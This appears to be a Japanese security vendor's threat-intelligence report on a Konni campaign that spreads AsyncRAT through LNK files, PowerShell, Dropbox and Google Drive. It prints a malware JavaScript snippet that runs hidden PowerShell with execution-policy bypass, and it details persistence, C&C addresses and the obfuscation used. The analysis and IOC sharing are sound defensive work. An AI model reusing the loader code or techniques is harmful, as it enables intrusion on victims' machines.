Select Language

お問い合わせ

会社紹介

サービス

製品

メディアセンター

お問い合わせ

会社紹介

サービス

製品

メディアセンター

Select Language

お問い合わせ

会社紹介

サービス

製品

メディアセンター

今日表示しない

トップへ戻る

脅威インテリジェンス

Konniの最新AsyncRAT攻撃：LNKファイルを活用した感染手法

エンキホワイトハット

2025/03/12

コンテンツ

概要

VirusTotalのハンティング機能により、攻撃者が初期段階のマルウェアとして頻繁に活用するLNKファイルを確保して分析した結果、一部のファイルにおいて北朝鮮を背景に持つハッキンググループ「Konni」との関連性を確認しました。
攻撃者はC&Cサーバーだけでなく、DropboxやGoogle Driveを悪用してマルウェアを流布しています。
最終的に実行されるマルウェアはAsyncRATで、過去にKonniグループが使用したAsyncRATはC&Cサーバー情報（IP、ポート）がハードコードされていましたが、今回確認されたAsyncRATは実行引数としてIPとポートが渡される方式に変更されていることを確認しました。
分析プロセスで確認されたC&Cサーバーは、昨年から攻撃インフラとして活用されていた状況が捉えられました。

1. 概要

VirusTotalのハンティング機能を活用して収集されたLNKファイルを分析していたところ、一部のファイルにおいて北朝鮮を背景に持つハッキンググループ「Konni」との関連性が確認されました。KonniはKimsukyと同様の戦術を使用しており、複数のキャンペーンでKimsukyとの共通点が多数発見されているグループです。

分析されたマルウェアは、C&Cサーバーだけでなく、正規のクラウドサービスであるDropboxやGoogle Driveを悪用して追加のマルウェアを流布し、各段階のマルウェアに難読化が適用されているのが特徴です。特に、LNKファイルのメタデータとVirusTotalにアップロードされたファイル名を活用することで、追加のマルウェアを確保することができ、これを分析した結果、さらに別のC&Cサーバーを発見しました。

追加で発見されたC&Cサーバーは、継続的に監視してきた韓国語で作成されたフィッシングメール攻撃に活用された履歴が確認されました。これは、攻撃者の活動を追跡する過程において、既存に検知された脅威との関連性をより明確にする重要な手がかりとなります。

caption - 確保したマルウェアと関連インフラ

2. マルウェア解析

2.1 概要図

caption - 概要図

2.2. 20250211_03837.docx.lnk

LNK ファイル実行時に動作するコマンドは、文字列を分割して結合する方法で難読化されて存在します。コマンドの主な行為は、LNK ファイルに含まれる PowerShell スクリプトを %programdata%\d.ps1 ファイルとして保存し、これを実行します。“0” データが書き込まれた、使用されない %programdata%\b21111 ファイルも生成されます。

caption - LECmd で確認したコマンド情報

2.3. d.ps1

PowerShell スクリプトは LNK ファイルの終端に配置されており、LNK 構造に影響を与えないオフセットに存在します。PowerShell スクリプトの変数値は base64 でエンコードされており、文字列スライシングを利用した難読化が適用されています。

caption - 難読化が適用された d.ps1

スクリプトの最下部にある & $opemcb5 $km02; の部分が中核となる動作で、$opemcb5 関数に base64 でエンコードされた配列を引数として渡し、順番にデコードした後に Invoke-Expression を通じて実行します。可読性を高めた $opemcb5 関数は、以下の図で確認できます。

caption - 可読性を高めた $opemcb5 関数

Invoke-Expression を通じて実行されるコードの動作は計4つあり、順序は以下の通りです。

d.ps1 ファイルの削除
Dropbox からの追加マルウェアのダウンロードおよび実行
Runspace Pool を生成して非同期方式で PowerShell を実行
C&C サーバーと通信して追加マルウェアのダウンロードおよび実行

Dropbox からダウンロードされるマルウェアは圧縮ファイルに含まれており、それぞれ JavaScript と PowerShell スクリプトで作成されたマルウェアです。JavaScript マルウェアはタスクスケジューラと自動実行レジストリに登録されて継続的に実行され、PowerShell スクリプトマルウェアは Invoke-Expression を通じて実行されます。

タスクスケジューラ情報
- 名前: AGMicrosoftEdgeUpdateExpanding[7923498737]
- 動作: 2分間隔で "wscript /e:javascript /b C:\ProgramData\83972.tmp" コマンドを実行
自動実行レジストリ情報
- レジストリパス: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\GUpdate2
- 実行コマンド: C:\Windows\System32\wscript.exe /b /e:javascript C:\ProgramData\83972.tmp

caption - Dropbox 接続および永続性確保ルーチン

C&C サーバーとの通信プロセスはポートが閉じているため追加解析が不可でしたが、Dropbox から追加マルウェアをダウンロードして実行する方式と酷似しています。これは Dropbox と C&C サーバーを併用して悪意ある行為を遂行するためのものと見られます。まず 206.206.127[.]152:7628 に接続して圧縮ファイルをダウンロードした後、タスクスケジューラと自動実行レジストリを登録します。

タスクスケジューラ情報
- 名前: AMicrosoftEdgeUpdateExpanding[3829710973]
- 動作: 2分間隔で "wscript /e:javascript /b C:\ProgramData\38243.tmp" コマンドを実行
自動実行レジストリ情報
- レジストリパス: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\SUpdate
- 実行コマンド: C:\windows\system32\wscript.exe /b /e:javascript C:\ProgramData\N9371.js

caption - C&C サーバー接続および永続性確保ルーチン

その後、206.206.127[.]152:7032 に接続して追加ファイルをダウンロードし、PowerShell で実行します。

caption - PowerShell スクリプトのダウンロードおよび実行ルーチン

2.4. 83972.tmp

Dropbox からダウンロードされた 83972.tmp は JavaScript で作成されたマルウェアで、%ProgramData%\G3892.tmp ファイルを実行する行為を遂行します。実行コマンドが保存された配列のデータは難読化されており、[数字]X[難読化されたデータ] 形式で存在します。この形式において、前の数字は難読化解除が正しく行われたかを確認するための値であり、X は数字と難読化されたデータを区別するための値です。難読化解除のプロセスは以下の通りです。

数字と「X」を除いた難読化されたデータをパースします。
難読化されたデータの最初の 2 バイトを末尾に移動します。
- 例) abcdef → cdefab
最初1バイトと最後1バイトを入れ替えます。
- 例) cdefab → bdefac
再び [数字]X[難読化されたデータ] 形式にします。
配列の最後の要素を最初の要素に移動します。

その後、4番目と9番目の要素に存在する数字を掛け合わせた後、これを 5 で割った値を2番目の引数と比較して、難読化解除が完了したか確認します。

caption - 難読化解除プロセス

難読化解除が完了すると、配列の要素を結合した後に eval で実行します。eval で実行されるコマンドは以下の通りです。

 try {
    var function1 = new ActiveXObject("WScript.Shell");
    var winConf= "p"+"ower"+"shell -ep byp"+"ass -com" + "mand $fn='C:\\\\ProgramData\\\\G3892.tmp';$d = Get-C" +"ontent $fn; Inv" + "oke-Exp" +"ress" + "ion $d;";
    function1.Run(winConf, 0);
} catch (err) {}

 try {
    var function1 = new ActiveXObject("WScript.Shell");
    var winConf= "p"+"ower"+"shell -ep byp"+"ass -com" + "mand $fn='C:\\\\ProgramData\\\\G3892.tmp';$d = Get-C" +"ontent $fn; Inv" + "oke-Exp" +"ress" + "ion $d;";
    function1.Run(winConf, 0);
} catch (err) {}

 try {
    var function1 = new ActiveXObject("WScript.Shell");
    var winConf= "p"+"ower"+"shell -ep byp"+"ass -com" + "mand $fn='C:\\\\ProgramData\\\\G3892.tmp';$d = Get-C" +"ontent $fn; Inv" + "oke-Exp" +"ress" + "ion $d;";
    function1.Run(winConf, 0);
} catch (err) {}

2.5. G3892.tmp

G3892.tmp は PowerShell スクリプトで作成されたマルウェアで、前段階の PowerShell スクリプトと同様に変数値は base64 でエンコードされており、文字列スライシングを利用した難読化が適用されています。Invoke-Expression を通じてコードを実行することも同様です。

caption - 難読化が適用された G3892.tmp

Invoke-Expression を通じて実行されるコードは、Google Drive API を利用して攻撃者の Google Drive に感染ログを生成し、追加マルウェアをダウンロードして実行します。まず、OAuth 2.0 認証を使用して攻撃者の Google Drive にアクセスできるアクセストークンを生成（発行）し、このプロセスで必要なすべての情報はハードコードされています。

caption - アクセストークン発行ルーチン

感染ログは Google Drive に [$objName]__[年_月_日_時_分_秒]_Result_log.txt という名前のファイルでアップロードされ、該当ファイルにはタイムスタンプ情報が書き込まれています。実際の攻撃者の Google Drive から取得したファイルとファイル内容は以下の図の通りです。

caption - 攻撃者の Google Drive に存在するファイル一覧

感染ログがアップロードされると、攻撃者の Google Drive から特定のファイルを検索してダウンロードし実行します。ファイル検索時に適用される条件は以下の通りです。

ファイル名に $objName が含まれるファイルのみを検索
ファイル名および内容に "result" 文字列が含まれていないファイルのみを検索
フォルダは除く

検索されたファイルが存在する場合、該当ファイルをダウンロードした後に Google Drive から削除します。ダウンロードされたファイルは %ProgramData%\tmps4.ps1 に保存され、PowerShell を通じて実行されます。ファイルを PowerShell で実行するプロセスは、C&C サーバーからダウンロードしたファイルを実行するプロセスと同じです。また、追加ファイルをダウンロードした後に Google Drive から削除する方式は、攻撃者が感染ログが生成されたことを感知し、Polling または Webhook のようなメカニズムを活用して自動的に追加ファイルをアップロードする機能を実装していた可能性を示唆しています。

caption - マルウェアのダウンロードおよび実行ルーチン

2.6. tmps4.ps1

tmps4.ps1 は、変数値が base64 でエンコードされており、デコードした後に Invoke-Expression を通じてコードを実行します。実行されるコードは、Google Drive からファイルをダウンロードして実行する行為を遂行します。

該当コードにおいて、Mocndis 関数は指定された URL からファイルをダウンロードするか、またはローカルパスからファイルを読み込んで特定の処理を実行した後にメモリ領域で実行します。

caption - Mocndis 関数の Gzip 解凍ルーチン

ファイルを実行する前に、ダウンロードしたファイルの 10 番目のバイトを 0x1f に修正した後、Gzip を解凍し、メモリ領域でファイルを実行して start メソッドを呼び出します。実行時の引数として ip と port が指定されます。

caption - Mocndis 関数のマルウェア実行ルーチンおよび Mocndis 実行引数

しかし、Twitter に LNK ファイルに関する内容が共有され、VirusTotal にサンプルが初めてアップロードされてから 3 時間後に Google Drive にアクセスした際、ファイルがダウンロードできず追加の解析が不可でした。しかし、翌日に再びアクセスしたところ、通常通りファイルをダウンロードすることができました。これは、攻撃者がマルウェアの露出状況を監視しており、セキュリティ研究者の関心を避けるために一時的にファイルを取り除いて攻撃が中断されたかのように偽装した可能性が高いです。

Google Drive からダウンロードしたファイルは、AsyncRAT マルウェアの亜種です。Google Drive API を使用して確認したファイルの情報は以下の通りです。

{
  "name": "rt_10_dummy_0206.tmp",
  "mimeType": "application/octet-stream",
  "size": "11917",
  "createdTime": "2025-02-06T14:28:40.707Z",
  "owners": [
    {
      "kind": "drive#user",
      "displayName": "andreytony001",
      "emailAddress": "andreytony001@gmail.com",
      "permissionId": "17628116675428814843",
      "photoLink": "<https://lh3.googleusercontent.com/a-/ALV-UjU7c10Rb7y7XU9dR2xlxcjqWmLDym-Ty65ExsrPiiJyhgY9WA=s64>",
      "me": false
    }
  ]
}

{
  "name": "rt_10_dummy_0206.tmp",
  "mimeType": "application/octet-stream",
  "size": "11917",
  "createdTime": "2025-02-06T14:28:40.707Z",
  "owners": [
    {
      "kind": "drive#user",
      "displayName": "andreytony001",
      "emailAddress": "andreytony001@gmail.com",
      "permissionId": "17628116675428814843",
      "photoLink": "<https://lh3.googleusercontent.com/a-/ALV-UjU7c10Rb7y7XU9dR2xlxcjqWmLDym-Ty65ExsrPiiJyhgY9WA=s64>",
      "me": false
    }
  ]
}

{
  "name": "rt_10_dummy_0206.tmp",
  "mimeType": "application/octet-stream",
  "size": "11917",
  "createdTime": "2025-02-06T14:28:40.707Z",
  "owners": [
    {
      "kind": "drive#user",
      "displayName": "andreytony001",
      "emailAddress": "andreytony001@gmail.com",
      "permissionId": "17628116675428814843",
      "photoLink": "<https://lh3.googleusercontent.com/a-/ALV-UjU7c10Rb7y7XU9dR2xlxcjqWmLDym-Ty65ExsrPiiJyhgY9WA=s64>",
      "me": false
    }
  ]
}

2.7. AsyncRAT

分析の結果、AsyncRAT は GSC の「コニ（Konni）脅威世界観の拡張分析レポート」で言及された AsyncRAT と機能が同一であることが確認されました。ただし、従来の Konni が使用した AsyncRAT は C&C サーバー情報（IP およびポート）がハードコードされていましたが、今回確認された AsyncRAT は実行時の引数として ip と port が設定されます。

caption - C&C 情報のパースルーチン

オープンソースとして公開されている AsyncRAT のソースコードを参考にした結果、攻撃者はメソッド名とクラス名を任意に変更していました。test_ptk クラスは MsgPack クラスと同じ構造であり、makebytearray メソッドは Encode2Bytes メソッドと同じ機能であることを確認しました。

(좌) AsyncRAT 변종 test_pkt 클래스 (우) 오픈소스 AsyncRAT MsgPack 클래스

caption - (左) AsyncRAT 亜種 test_pkt クラス (右) オープンソース AsyncRAT MsgPack クラス

(좌) AsyncRAT 변종 makebytearray 메소드 (우) 오픈소스 AsyncRAT Encode2Bytes 메소드

caption - (左) AsyncRAT 亜種 makebytearray メソッド (右) オープンソース AsyncRAT Encode2Bytes メソッド

C&C サーバーとの通信に成功すると、MsgPack 形式で “Packet: ClientInfo” データをシリアル化した後に圧縮してサーバーへ送信します。その後、サーバー側から受信したデータに基づいて遂行する行為は以下の通りです。

|명령코드|행위|
|---|---|
|pin|코드상 존재하나 아무 행위도 수행하지 않는다.|
|addin|수신한 데이터중 barray 값이 존재하면 Packet: giveme, barname: [barray 값] 서버로 전송|
|saveaddin|수신한 데이터중 barray 값이 존재하면 barray 데이터를 Assembly.Load 메소드로 실행

|명령코드|행위|
|---|---|
|pin|코드상 존재하나 아무 행위도 수행하지 않는다.|
|addin|수신한 데이터중 barray 값이 존재하면 Packet: giveme, barname: [barray 값] 서버로 전송|
|saveaddin|수신한 데이터중 barray 값이 존재하면 barray 데이터를 Assembly.Load 메소드로 실행

|명령코드|행위|
|---|---|
|pin|코드상 존재하나 아무 행위도 수행하지 않는다.|
|addin|수신한 데이터중 barray 값이 존재하면 Packet: giveme, barname: [barray 값] 서버로 전송|
|saveaddin|수신한 데이터중 barray 값이 존재하면 barray 데이터를 Assembly.Load 메소드로 실행

caption - コマンドコードに応じて実行される動作u001c

caption - コマンドコードルーチン

この他に確認された行為はなく、コマンドコードの挙動に基づいて判断すると、C&C サーバーとの接続に成功した後は、継続的に “addin” コマンドコードを受信し、"Packet: giveme" データをサーバーへ送信して感染の事実を通知した上で、追加の悪意ある行為を遂行する可能性が極めて高いです。

3. 追加マルウェアの確保および分析

3.1. Konni の関連性分析

今回確認された AsyncRAT は、GSC の「コニ（Konni）脅威世界観の拡張分析レポート」に言及されている AsyncRAT と構造が同一であり、該当レポートで言及された AsyncRAT の C&C サーバーは、他の不正プログラムの C&C サーバーとしても活用された履歴があり、エンドポイントおよびパラメータの構造が Konni の命令体系と類似しています。

caption - 本レポートで分析した AsyncRAT

caption - GSC レポートで言及された AsyncRAT

過去に Konni が使用した AsyncRAT C&C サーバー（159.100.13[.]216）は、securonix の「Analysis and Detection of CLOUD#REVERSER」レポートで初めて言及され、該当レポートで説明されている最後の PowerShell スクリプトの動作方式は、本レポートで分析した PowerShell スクリプトの動作方式と完全に一致します。

caption - 本レポートで分析した tmps4.ps1

caption - securonix レポートで言及された PowerShell スクリプト

また、GSC は AsyncRAT 不正プログラムの C&C サーバーとして使用された 159.100.13[.]216 が duplikyservjc[.]cloud ドメインと接続された痕跡があり、該当ドメインが Konni の命令体系と類似していると明らかにしました。duplikyservjc[.]cloud ドメインで確認された命令体系は以下の通りです。

duplikyservjc[.]cloud/dn.php?name=[%computer name%]&prefix=tt

実際に dn.php?name=[%computer name%] パターンは複数のレポートで言及されており、追加の不正プログラムをダウンロードするために使用されます。

Konni Campaign Distributed Via Malicious Document
- dn.php?name=[%computer name%]&prefix=tt
Securonix Threat Labs Initial Coverage Advisory
- dn.php?name=[%computer name%]&prefix=mm
個人情報流出関連の内容を装ったフィッシングメールの拡散 (Konni)
- dn.php?name=[%computer name%]&prefix=tt

duplikyservjc[.]cloud を C&C サーバーとして使用する不正プログラムを分析した結果、dn.php エンドポイントが従来と同様に追加の不正プログラムのダウンロードに活用されていることを確認しました。関連サンプルの VirusTotal リンクは以下の通りです。

https://www.virustotal.com/gui/file/2ad3120e1b03317d8d588d0cc097cc4c084700dc98913aa452ae8d0d1830e327

duplikyservjc[.]cloud/dn.php?name=[%computer name%]&prefix=tt 통신 루틴

caption - duplikyservjc[.]cloud/dn.php?name=[%computer name%]&prefix=tt 通信ルーチン

本レポートで言及された C&C サーバー 206.206.127[.]152 は、他の攻撃に活用された痕跡が確認されておらず、現在までは LNK ファイルを利用した AsyncRAT 不正プログラム拡散攻撃に使用されたものと確認されています。追加で AsyncRAT で確認された PDB 情報は以下の通りです。

E:\_Backup\RAT_work\AsyncRat_0930\rat_Client\rat_pro\obj\Debug\Lv_0206.pdb

3.2. LNK メタデータを利用した追加不正プログラムの確保

LNK ファイルには、DriveSerialNumber、MachineID、MACアドレスなど、さまざまなメタデータが含まれています。一般的に攻撃者はこれらの情報を削除して関連性分析を難しくしますが、本レポートで分析した LNK ファイルにはメタデータがそのまま残っていました。

| File Name | SHA256 | Drive Serial Number | Machine ID | MAC Address |
| --- | --- | --- | --- | --- |
| 20250211_03837.docx.lnk | 268640934dd1f0cfe3a3653221858851a33cbf49a71adfb4d54a04641df11547 | 26D3-6E63 | jooyoung | 50:b7:c3:96:87:f1

| File Name | SHA256 | Drive Serial Number | Machine ID | MAC Address |
| --- | --- | --- | --- | --- |
| 20250211_03837.docx.lnk | 268640934dd1f0cfe3a3653221858851a33cbf49a71adfb4d54a04641df11547 | 26D3-6E63 | jooyoung | 50:b7:c3:96:87:f1

| File Name | SHA256 | Drive Serial Number | Machine ID | MAC Address |
| --- | --- | --- | --- | --- |
| 20250211_03837.docx.lnk | 268640934dd1f0cfe3a3653221858851a33cbf49a71adfb4d54a04641df11547 | 26D3-6E63 | jooyoung | 50:b7:c3:96:87:f1

caption - 本レポートで分析した LNK ファイルのメタデータ

この他にも、LINKTARGET_IDLIST に実行対象ファイルに関する情報が含まれており、LNK ファイルを作成したシステムの MFT Record Number と Sequence Number の情報も存在します。LEcmd でこれを確認できます。

LECmd로 확인 가능한 MFT Record Number, Sequence Number 정보

caption - LECmd で確認可能な MFT Record Number、Sequence Number 情報

LNK ファイルのメタデータと VirusTotal にアップロードされたファイル名のパターンを活用することで、追加で10個の不正プログラムを確保することができました。本レポートで分析した LNK ファイルが含まれる表は以下の通りです。

| File Name | SHA256 | Drive Serial Number | Machine ID | MAC Address | VT 업로드 날짜 |
| --- | --- | --- | --- | --- | --- |
| 20240625_47531.docx.lnk | 9c9df2d90602c915005811aabf444653f55024080c61845029f75da758b27320 | 0FDA-1026 | N/A | N/A | UNITED STATES-n2024-06-25 09:19:55 UTC |
| 20240930_84382.docx.lnk | f3aee5924279dd1883efbb04c89166368e954b7e81483507dc032561bb2cf6e1 | 2CAF-875E | 14_g2_itl | 1c:99:57:1d:d4:d0 | UNITED STATES-n2024-10-04 07:55:49 UTC |
| 20241003_20134.docx.lnk | aaecb10ca453bec3bb95bedac6d773a593ea984509845eb7b15d8894d4b385ad | 2CAF-875E | 14_g2_itl | 1c:99:57:1d:d4:d0 | UNITED STATES-n2024-10-03 06:09:15 UTC |
| 20241007_46790.docx.lnk | ba52ab256079f80fdf9c47bf5fc215fed99ed1659c976ca692f4493e08e4b301 | 26D3-6E63 | jooyoung | 50:b7:c3:96:87:f1 | UNITED STATES-n2024-10-26 08:55:11 UTC |
| 20241011_64246.docx.lnk | dfeec1052063d6dc69cc6d23ca0cd262cd06899554f5ebd528d5d72935204bf2 | AEC1-8832 | ?ڼ??? | 24:f5:aa:e4:c0:c8 | UNITED STATES-n2024-10-11 10:54:44 UTC |
| 20241013_24569.docx.lnk | 11ac6151182db3b41f9022b4e4b8a388e982f7fece3a34596bd84c11ec2a4ebd | D8F2-338C | cy-p1 | d0:50:99:91:cd:56 | UNITED STATES-n2024-10-16 00:28:06 UTC |
| 20241015_56801.docx.lnk | 52b8e4da732d06000e29d7609668021be8cc99fccd9fb4a04f93f1c25d11bdd6 | CE8E-6630 | ??Ȱ?4 | a8:a1:59:a9:7b:fe | UNITED STATES-n2024-10-15 13:12:30 UTC |
| 20250114_27263.docx.lnk | f4c4f68f8b27279b00b718b02392d5dfe1766c342a189a51e0e2a6f6412e1ce0 | 9038-4211 | desktop-0jpcpit | e0:d5:5e:8b:fb:d6 | KOREA, REPUBLIC OF-n2025-01-14 05:16:33 UTC |
| 20250201_388165727.eml.lnk | 11afe5cc28666c39d3dc3e9d51f780e55ce57e29424861b94002fb3370474f7e | 26D3-6E63 | jooyoung | 50:b7:c3:96:87:f1 | KOREA, REPUBLIC OF-n2025-02-04 11:06:09 UTC |
| 20250206_68013.docx.lnk | e6e3a8fb352641bb5b6f6db1479490d942852d77d9ca30b2f0931f28e2691983 | 26D3-6E63 | jooyoung | 50:b7:c3:96:87:f1 | KOREA, REPUBLIC OF-n2025-02-06 03:34:02 UTC |
| 20250211_03837.docx.lnk | 268640934dd1f0cfe3a3653221858851a33cbf49a71adfb4d54a04641df11547 | 26D3-6E63 | jooyoung | 50:b7:c3:96:87:f1 | UNITED STATES-n2025-02-11 05:17:02

| File Name | SHA256 | Drive Serial Number | Machine ID | MAC Address | VT 업로드 날짜 |
| --- | --- | --- | --- | --- | --- |
| 20240625_47531.docx.lnk | 9c9df2d90602c915005811aabf444653f55024080c61845029f75da758b27320 | 0FDA-1026 | N/A | N/A | UNITED STATES-n2024-06-25 09:19:55 UTC |
| 20240930_84382.docx.lnk | f3aee5924279dd1883efbb04c89166368e954b7e81483507dc032561bb2cf6e1 | 2CAF-875E | 14_g2_itl | 1c:99:57:1d:d4:d0 | UNITED STATES-n2024-10-04 07:55:49 UTC |
| 20241003_20134.docx.lnk | aaecb10ca453bec3bb95bedac6d773a593ea984509845eb7b15d8894d4b385ad | 2CAF-875E | 14_g2_itl | 1c:99:57:1d:d4:d0 | UNITED STATES-n2024-10-03 06:09:15 UTC |
| 20241007_46790.docx.lnk | ba52ab256079f80fdf9c47bf5fc215fed99ed1659c976ca692f4493e08e4b301 | 26D3-6E63 | jooyoung | 50:b7:c3:96:87:f1 | UNITED STATES-n2024-10-26 08:55:11 UTC |
| 20241011_64246.docx.lnk | dfeec1052063d6dc69cc6d23ca0cd262cd06899554f5ebd528d5d72935204bf2 | AEC1-8832 | ?ڼ??? | 24:f5:aa:e4:c0:c8 | UNITED STATES-n2024-10-11 10:54:44 UTC |
| 20241013_24569.docx.lnk | 11ac6151182db3b41f9022b4e4b8a388e982f7fece3a34596bd84c11ec2a4ebd | D8F2-338C | cy-p1 | d0:50:99:91:cd:56 | UNITED STATES-n2024-10-16 00:28:06 UTC |
| 20241015_56801.docx.lnk | 52b8e4da732d06000e29d7609668021be8cc99fccd9fb4a04f93f1c25d11bdd6 | CE8E-6630 | ??Ȱ?4 | a8:a1:59:a9:7b:fe | UNITED STATES-n2024-10-15 13:12:30 UTC |
| 20250114_27263.docx.lnk | f4c4f68f8b27279b00b718b02392d5dfe1766c342a189a51e0e2a6f6412e1ce0 | 9038-4211 | desktop-0jpcpit | e0:d5:5e:8b:fb:d6 | KOREA, REPUBLIC OF-n2025-01-14 05:16:33 UTC |
| 20250201_388165727.eml.lnk | 11afe5cc28666c39d3dc3e9d51f780e55ce57e29424861b94002fb3370474f7e | 26D3-6E63 | jooyoung | 50:b7:c3:96:87:f1 | KOREA, REPUBLIC OF-n2025-02-04 11:06:09 UTC |
| 20250206_68013.docx.lnk | e6e3a8fb352641bb5b6f6db1479490d942852d77d9ca30b2f0931f28e2691983 | 26D3-6E63 | jooyoung | 50:b7:c3:96:87:f1 | KOREA, REPUBLIC OF-n2025-02-06 03:34:02 UTC |
| 20250211_03837.docx.lnk | 268640934dd1f0cfe3a3653221858851a33cbf49a71adfb4d54a04641df11547 | 26D3-6E63 | jooyoung | 50:b7:c3:96:87:f1 | UNITED STATES-n2025-02-11 05:17:02

| File Name | SHA256 | Drive Serial Number | Machine ID | MAC Address | VT 업로드 날짜 |
| --- | --- | --- | --- | --- | --- |
| 20240625_47531.docx.lnk | 9c9df2d90602c915005811aabf444653f55024080c61845029f75da758b27320 | 0FDA-1026 | N/A | N/A | UNITED STATES-n2024-06-25 09:19:55 UTC |
| 20240930_84382.docx.lnk | f3aee5924279dd1883efbb04c89166368e954b7e81483507dc032561bb2cf6e1 | 2CAF-875E | 14_g2_itl | 1c:99:57:1d:d4:d0 | UNITED STATES-n2024-10-04 07:55:49 UTC |
| 20241003_20134.docx.lnk | aaecb10ca453bec3bb95bedac6d773a593ea984509845eb7b15d8894d4b385ad | 2CAF-875E | 14_g2_itl | 1c:99:57:1d:d4:d0 | UNITED STATES-n2024-10-03 06:09:15 UTC |
| 20241007_46790.docx.lnk | ba52ab256079f80fdf9c47bf5fc215fed99ed1659c976ca692f4493e08e4b301 | 26D3-6E63 | jooyoung | 50:b7:c3:96:87:f1 | UNITED STATES-n2024-10-26 08:55:11 UTC |
| 20241011_64246.docx.lnk | dfeec1052063d6dc69cc6d23ca0cd262cd06899554f5ebd528d5d72935204bf2 | AEC1-8832 | ?ڼ??? | 24:f5:aa:e4:c0:c8 | UNITED STATES-n2024-10-11 10:54:44 UTC |
| 20241013_24569.docx.lnk | 11ac6151182db3b41f9022b4e4b8a388e982f7fece3a34596bd84c11ec2a4ebd | D8F2-338C | cy-p1 | d0:50:99:91:cd:56 | UNITED STATES-n2024-10-16 00:28:06 UTC |
| 20241015_56801.docx.lnk | 52b8e4da732d06000e29d7609668021be8cc99fccd9fb4a04f93f1c25d11bdd6 | CE8E-6630 | ??Ȱ?4 | a8:a1:59:a9:7b:fe | UNITED STATES-n2024-10-15 13:12:30 UTC |
| 20250114_27263.docx.lnk | f4c4f68f8b27279b00b718b02392d5dfe1766c342a189a51e0e2a6f6412e1ce0 | 9038-4211 | desktop-0jpcpit | e0:d5:5e:8b:fb:d6 | KOREA, REPUBLIC OF-n2025-01-14 05:16:33 UTC |
| 20250201_388165727.eml.lnk | 11afe5cc28666c39d3dc3e9d51f780e55ce57e29424861b94002fb3370474f7e | 26D3-6E63 | jooyoung | 50:b7:c3:96:87:f1 | KOREA, REPUBLIC OF-n2025-02-04 11:06:09 UTC |
| 20250206_68013.docx.lnk | e6e3a8fb352641bb5b6f6db1479490d942852d77d9ca30b2f0931f28e2691983 | 26D3-6E63 | jooyoung | 50:b7:c3:96:87:f1 | KOREA, REPUBLIC OF-n2025-02-06 03:34:02 UTC |
| 20250211_03837.docx.lnk | 268640934dd1f0cfe3a3653221858851a33cbf49a71adfb4d54a04641df11547 | 26D3-6E63 | jooyoung | 50:b7:c3:96:87:f1 | UNITED STATES-n2025-02-11 05:17:02

caption - 追加で確保した不正プログラムの LNK ファイルメタデータ

3.3. 確保した不正プログラムの分析を通じた C&C インフラの関連性の確認

追加で確保した不正プログラムを分析した結果、1つのメタデータが同一である不正プログラムは、他のメタデータもすべて同一であることが確認されました。これは、同一の環境で不正プログラムが制作された可能性を示唆しています。また、本レポートで分析した最終の不正プログラムである AsyncRAT が通信する C&C サーバーのアドレスを、他の不正プログラムでも確認することができました。下表に示された不正プログラムは、すべて実行時に同一の C&C サーバーから圧縮ファイルをダウンロードし、解凍した後に vbs ファイルを実行します。これらの情報から、206.206.127[.]152 は昨年から攻撃インフラとして活用されていたことが分かりました。

| File Name | C&C 정보 | Drive Serial Number | Machine ID | MAC Address | VT 업로드 날짜 |
| --- | --- | --- | --- | --- | --- |
| 20240930_84382.docx.lnk | 206.206.127.152:9027 | 2CAF-875E | 14_g2_itl | 1c:99:57:1d:d4:d0 | UNITED STATES 2024-10-04 07:55:49 UTC |
| 20241003_20134.docx.lnk | 206.206.127.152:9002 | 2CAF-875E | 14_g2_itl | 1c:99:57:1d:d4:d0 | UNITED STATES 2024-10-03 06:09:15 UTC |
| 20241007_46790.docx.lnk | 206.206.127.152:6105 | 26D3-6E63 | jooyoung | 50:b7:c3:96:87:f1 | UNITED STATES 2024-10-26 08:55:11 UTC |
| 20241011_64246.docx.lnk | 206.206.127.152:6105 | AEC1-8832 | ?ڼ??? | 24:f5:aa:e4:c0:c8 | UNITED STATES 2024-10-11 10:54:44 UTC |
| 20241013_24569.docx.lnk | 206.206.127.152:6105 | D8F2-338C | cy-p1 | d0:50:99:91:cd:56 | UNITED STATES 2024-10-16 00:28:06 UTC |
| 20241015_56801.docx.lnk | 206.206.127.152:6105 | CE8E-6630 | ??Ȱ?4 | a8:a1:59:a9:7b:fe | UNITED STATES 2024-10-15 13:12:30

| File Name | C&C 정보 | Drive Serial Number | Machine ID | MAC Address | VT 업로드 날짜 |
| --- | --- | --- | --- | --- | --- |
| 20240930_84382.docx.lnk | 206.206.127.152:9027 | 2CAF-875E | 14_g2_itl | 1c:99:57:1d:d4:d0 | UNITED STATES 2024-10-04 07:55:49 UTC |
| 20241003_20134.docx.lnk | 206.206.127.152:9002 | 2CAF-875E | 14_g2_itl | 1c:99:57:1d:d4:d0 | UNITED STATES 2024-10-03 06:09:15 UTC |
| 20241007_46790.docx.lnk | 206.206.127.152:6105 | 26D3-6E63 | jooyoung | 50:b7:c3:96:87:f1 | UNITED STATES 2024-10-26 08:55:11 UTC |
| 20241011_64246.docx.lnk | 206.206.127.152:6105 | AEC1-8832 | ?ڼ??? | 24:f5:aa:e4:c0:c8 | UNITED STATES 2024-10-11 10:54:44 UTC |
| 20241013_24569.docx.lnk | 206.206.127.152:6105 | D8F2-338C | cy-p1 | d0:50:99:91:cd:56 | UNITED STATES 2024-10-16 00:28:06 UTC |
| 20241015_56801.docx.lnk | 206.206.127.152:6105 | CE8E-6630 | ??Ȱ?4 | a8:a1:59:a9:7b:fe | UNITED STATES 2024-10-15 13:12:30

| File Name | C&C 정보 | Drive Serial Number | Machine ID | MAC Address | VT 업로드 날짜 |
| --- | --- | --- | --- | --- | --- |
| 20240930_84382.docx.lnk | 206.206.127.152:9027 | 2CAF-875E | 14_g2_itl | 1c:99:57:1d:d4:d0 | UNITED STATES 2024-10-04 07:55:49 UTC |
| 20241003_20134.docx.lnk | 206.206.127.152:9002 | 2CAF-875E | 14_g2_itl | 1c:99:57:1d:d4:d0 | UNITED STATES 2024-10-03 06:09:15 UTC |
| 20241007_46790.docx.lnk | 206.206.127.152:6105 | 26D3-6E63 | jooyoung | 50:b7:c3:96:87:f1 | UNITED STATES 2024-10-26 08:55:11 UTC |
| 20241011_64246.docx.lnk | 206.206.127.152:6105 | AEC1-8832 | ?ڼ??? | 24:f5:aa:e4:c0:c8 | UNITED STATES 2024-10-11 10:54:44 UTC |
| 20241013_24569.docx.lnk | 206.206.127.152:6105 | D8F2-338C | cy-p1 | d0:50:99:91:cd:56 | UNITED STATES 2024-10-16 00:28:06 UTC |
